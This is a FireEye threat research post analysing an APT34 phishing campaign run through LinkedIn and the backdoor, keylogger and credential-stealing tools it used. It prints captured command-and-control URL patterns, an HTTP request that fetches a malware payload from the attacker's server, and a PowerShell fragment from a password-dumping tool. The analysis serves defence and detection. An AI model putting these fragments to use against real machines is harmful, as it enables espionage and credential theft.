Hard Pass: Declining APT34’s Invite to Join Their Professional Network

fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

Threat Research

Matt Bromiley, Noah Klapprodt, Nick Schroeder, Jessica Rocchio

Jul 18, 2019

10 mins read

Advanced Persistent Threats (APTs)

Threat Research

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

1. Masquerading as a member of Cambridge University to gain victims' trust to open malicious documents,
2. The usage of LinkedIn to deliver malicious documents,
3. The addition of three new malware families to APT34's arsenal.

FireEye's platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Mandiant Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

- Energy and Utilities
- Government
- Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, Mandiant Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security's ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer's security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.

Screenshot of LinkedIn message asking to download TONEDEAF

Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

- 96feed478c347d4b95a8224de26a1b2c
- caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.

Screenshot of VBA code from System.doc

Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.

Additional VBA code from System.doc

Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware's stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character "sys_id". This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

- hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
- hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
- hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
- hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window's temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

```
GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1
```

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye's platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new *and* old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Learn more about Mandiant Managed Defense, and catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.

Snippet of code from TONEDEAF binary

Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

```
powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-
Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. .
$hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items()
| . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder.
$pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ .
URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory
```

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.

SQL format of the VALUEVAULT fsociety.dat SQLite database

Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

```
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome
Password Recovery.go
```

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

```
GetAsyncKeyState
>--------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt
```

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. *Table 2* contains several specific detection names that provide an indication of APT34 activity.

Signature Name
FE_APT_Keylogger_Win_LONGWATCH_1
FE_APT_Keylogger_Win_LONGWATCH_2
FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1
FE_APT_Trojan_Win32_VALUEVAULT_1
FE_APT_Backdoor_Win32_TONEDEAF
TONEDEAF BACKDOOR [DNS]
TONEDEAF BACKDOOR [upload]
TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator	MD5 Hash (if applicable)	Code Family
System.doc	b338baa673ac007d7af54075ea69660b	TONEDEAF
	50fb09d53c856dcd0782e1470eaeae35	TONEDEAF
ERFT-Details.xls	96feed478c347d4b95a8224de26a1b2c	TONEDEAF DROPPER
	caf418cbf6a9c4e93e79d4714d5d3b87	TONEDEAF DROPPER
b.exe	9fff498b78d9498b33e08b892148135f	VALUEVAULT
WindowsNTProgram.exe	021a0f57fe09116a43c27e5133a57a0a	LONGWATCH
PE86.dll	d8abe843db508048b4d4db748f92a103	PICKPOCKET
PE64.dll	6eca9c2b7cf12c247032aae28419319e	PICKPOCKET

Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.